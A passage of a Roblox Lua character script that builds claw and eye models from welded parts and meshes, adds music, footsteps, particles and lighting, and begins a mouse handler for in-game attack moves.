2552 | function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size) | |
2553 | local fp=it("Part") | |
2554 | fp.formFactor=formfactor | |
2555 | fp.Parent=parent | |
2556 | fp.Reflectance=reflectance | |
2557 | fp.Transparency=transparency | |
2558 | fp.CanCollide=false | |
2559 | fp.Locked=true | |
2560 | fp.BrickColor=BrickColor.new(tostring(brickcolor)) | |
2561 | fp.Name=name | |
2562 | fp.Size=size | |
2563 | fp.Position=Character.Torso.Position | |
2564 | nooutline(fp) | |
2565 | fp.Material=material | |
2566 | fp:BreakJoints() | |
2567 | return fp | |
2568 | end | |
2569 | ||
2570 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
2571 | local mesh=it(Mesh) | |
2572 | mesh.Parent=part | |
2573 | if Mesh=="SpecialMesh" then | |
2574 | mesh.MeshType=meshtype | |
2575 | mesh.MeshId=meshid | |
2576 | end | |
2577 | mesh.Offset=offset | |
2578 | mesh.Scale=scale | |
2579 | return mesh | |
2580 | end | |
2581 | ||
2582 | function weld(parent,part0,part1,c0,c1) | |
2583 | local weld=it("Weld") | |
2584 | weld.Parent=parent | |
2585 | weld.Part0=part0 | |
2586 | weld.Part1=part1 | |
2587 | weld.C0=c0 | |
2588 | weld.C1=c1 | |
2589 | return weld | |
2590 | end | |
2591 | ||
2592 | local modelzorz=Instance.new("Model") | |
2593 | modelzorz.Parent=Character | |
2594 | modelzorz.Name="Claw1" | |
2595 | ||
2596 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2597 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2598 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2599 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2600 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2601 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2602 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2603 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2604 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2605 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2606 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2607 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2608 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2609 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2610 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2611 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2612 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2613 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2614 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2615 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2616 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2617 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2618 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2619 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2620 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2621 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2622 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2623 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2624 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2625 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2626 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2627 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2628 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2629 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2630 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2631 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2632 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2633 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2634 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2635 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2636 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2637 | ||
2638 | local modelzorz2=Instance.new("Model") | |
2639 | modelzorz2.Parent=Character | |
2640 | modelzorz2.Name="Claw2" | |
2641 | ||
2642 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2643 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2644 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2645 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2646 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2647 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2648 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2649 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2650 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2651 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2652 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2653 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2654 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2655 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2656 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2657 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2658 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
2659 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2660 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
2661 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2662 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2663 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
2664 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2665 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
2666 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2667 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2668 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
2669 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2670 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
2671 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2672 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2673 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
2674 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2675 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
2676 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2677 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
2678 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2679 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
2680 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2681 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2682 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
2683 | ||
2684 | local modelzorz3=Instance.new("Model") | |
2685 | modelzorz3.Parent=Character | |
2686 | modelzorz3.Name="Eye" | |
2687 | ||
2688 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2689 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
2690 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
2691 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2692 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2693 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
2694 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2695 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2696 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
2697 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2698 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2699 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
2700 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2701 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2702 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
2703 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2704 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
2705 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2706 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2707 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2708 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
2709 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2710 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
2711 | local moosick = it("Sound",Character) | |
2712 | moosick.SoundId = "rbxassetid://613035749" | |
2713 | --142653441, 175067863 | |
2714 | moosick.Looped = true | |
2715 | moosick.Pitch = 0.9775 | |
2716 | moosick.Volume = 1.5 | |
2717 | moosick:Play() | |
2718 | ||
2719 | anim = Character:findFirstChild("Animate") | |
2720 | if anim then | |
2721 | anim:Destroy() | |
2722 | end | |
2723 | ||
2724 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
2725 | particleemitter.VelocitySpread = 180 | |
2726 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2727 | particleemitter.Speed = NumberRange.new(2) | |
2728 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2729 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2730 | particleemitter.Rate = 100 | |
2731 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2732 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2733 | particleemitter.LightEmission = 0.8 | |
2734 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2735 | ||
2736 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
2737 | particleemitter.VelocitySpread = 180 | |
2738 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2739 | particleemitter.Speed = NumberRange.new(2) | |
2740 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2741 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2742 | particleemitter.Rate = 100 | |
2743 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2744 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2745 | particleemitter.LightEmission = 0.8 | |
2746 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2747 | ||
2748 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
2749 | particleemitter.VelocitySpread = 180 | |
2750 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2751 | particleemitter.Speed = NumberRange.new(2) | |
2752 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
2753 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2754 | particleemitter.Rate = 100 | |
2755 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2756 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2757 | particleemitter.LightEmission = 0.8 | |
2758 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2759 | ||
2760 | local light = Instance.new("PointLight", Character.Torso) | |
2761 | light.Color = Color3.new(255,255,255) | |
2762 | light.Brightness = 5 | |
2763 | light.Range = 15 | |
2764 | ||
2765 | particleemitter.Enabled = true | |
2766 | ||
2767 | local Footsteps = it("Sound",Character.Torso) | |
2768 | Footsteps.SoundId = "rbxassetid://142665235" | |
2769 | Footsteps.Looped = true | |
2770 | Footsteps.Pitch = 0.8 | |
2771 | Footsteps.Volume = 0.3 | |
2772 | ||
2773 | local Footsteps2 = it("Sound",Character.Torso) | |
2774 | Footsteps2.SoundId = "rbxassetid://142665235" | |
2775 | Footsteps2.Looped = true | |
2776 | Footsteps2.Pitch = 1 | |
2777 | Footsteps2.Volume = 0.4 | |
2778 | ||
2779 | local cam = game.Workspace.CurrentCamera | |
2780 | ||
2781 | --cam.CameraSubject = Character | |
2782 | ||
2783 | for i,v in pairs(Head:children()) do | |
2784 | if v:IsA("Sound") then | |
2785 | v:Destroy() | |
2786 | end | |
2787 | end | |
2788 | ||
2789 | mouse.Button1Down:connect(function() | |
2790 | if attack==false and attacktype==1 then | |
2791 | attacktype=2 | |
2792 | attackone() | |
2793 | elseif attack==false and attacktype==2 then | |
2794 | attacktype=3 | |
